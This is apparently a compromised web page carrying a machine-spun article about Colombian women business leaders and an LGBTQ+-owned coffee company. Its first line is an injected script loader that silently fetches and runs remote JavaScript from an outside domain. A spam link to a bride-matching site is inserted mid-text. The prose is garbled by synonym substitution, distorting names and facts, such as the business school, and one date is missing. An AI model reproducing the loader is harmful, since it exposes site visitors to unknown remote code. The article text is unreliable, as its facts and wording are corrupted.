;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
Called certainly Forbes’ 50 powerful women in Colombia inside 2020, Mia Perdomo is actually a leader on country’s business world.
She is also at the forefront of Colombia’s feminist movement, leverage their particular business smart to progress gender equality in her own family country.
Perdomo co-mainly based Aequales, a firm that offers solutions to businesses that have to intimate their gender openings. Owing to a variety of research collection, analysis, asking and you can technological solutions, Aequales provides firms towards tools they should recognize and you will handle obstacles so you’re able to gender equality.
WeWork the most well-known begin-ups of recent ages and you may, even with some fight, they continues to provide co-performing space so you’re able to thousands of members internationally.
Karen Scarpetta are responsible for supposed right up WeWork’s part in Colombia in the event it earliest circulated during the 2017. Just like the 2021, she’s got been the entire Director out of WeWork from inside the South america, accountable for expanding surgery when you look at the Argentina, Chile, Colombia, Costa Rica and Mexico.
The brand new Colombian indigenous studied in the world providers around australia before performing within significant enterprises eg Ralph Lauren and you will Groupon. Inside her current part at the WeWork, Scarpetta is responsible for over 100,000 users in the region.
A separate person in Forbes’ directory of the 50 Most effective Women in Colombia, Marcela Torres represents one of the preeminent Ceos regarding the nation.
After learning commercial engineering on Los Andes College or university, she received their particular MBA at Internet explorer Company College. Soon after graduating, Torres began employment for the strategic contacting within McKinsey & Organization, working around getting 7 years.
When you look at the 2018, Torres registered Uber as their Director from Means and you can Planning for brand new Andes, Central The united states and you will Caribbean regions. Inside , she is actually promoted to help you General Manager away from Uber from inside the Colombia.
No matter if she got more than mid-pandemic, an especially disruptive months getting Uber, Torres’ leadership saw Uber Colombia out of the crisis. Their own designs range from the introduction of Uber Cab, that enables profiles so you’re able to publication and you may pay money for typical cabs as a result of this new app.
Baobab is one of Colombia’s very turbulent trends brands, focusing on environmentally safe swimwear. The name itself setting forest out-of lifetime, and you may describes a certain variety you to grows for the Africa. The relationship towards brand? For each and every swimsuit bought, Baobab herbs a forest in the customer’s name.
At the rear of it eco-friendly brand is Isabella Espinosa, who centered it in 2016 in the exact middle of their unique law education on Los Andes College or university. The fresh new challenging President doesn’t have constraints to help you their particular aspirations, seeking grow Baobab to help you “all place of the world”.
https://kissbrides.com/tr/sicak-ingiliz-kadinlar/
That it eyes looks when you need it, having effective Baobab trend suggests when you look at the Dubai and you will Paris revitalizing overseas need for brand new swimsuits.
Epifania is special during the Colombia, priding by itself as being the first 100% LGBTQ+ business in the country. While they’re noted for attempting to sell coffee and activity alcohol, Epifania’s goal is to uplift varied people in the people from the giving them employment opportunities.
Epifania plus oversees societal systems that empower people in Colombia’s LGBTQ+ area and works with other businesses to introduce standard inclusive practices.
Sofia Vargas and you may Anyelin Periz co-created Epifania in the 2020 and you can trait the success on the electronic mass media savvy. The two functions closely together, having Periz due to the fact Ceo and you will Vargas just like the Commercial Director.
Due to the fact two lesbians, Vargas and you will Periz needed to construct a business which will correct the newest inequalities they’ve confronted within their life, and you may generate serious alterations in the way in which Colombia viewpoints brand new LGBTQ+ neighborhood.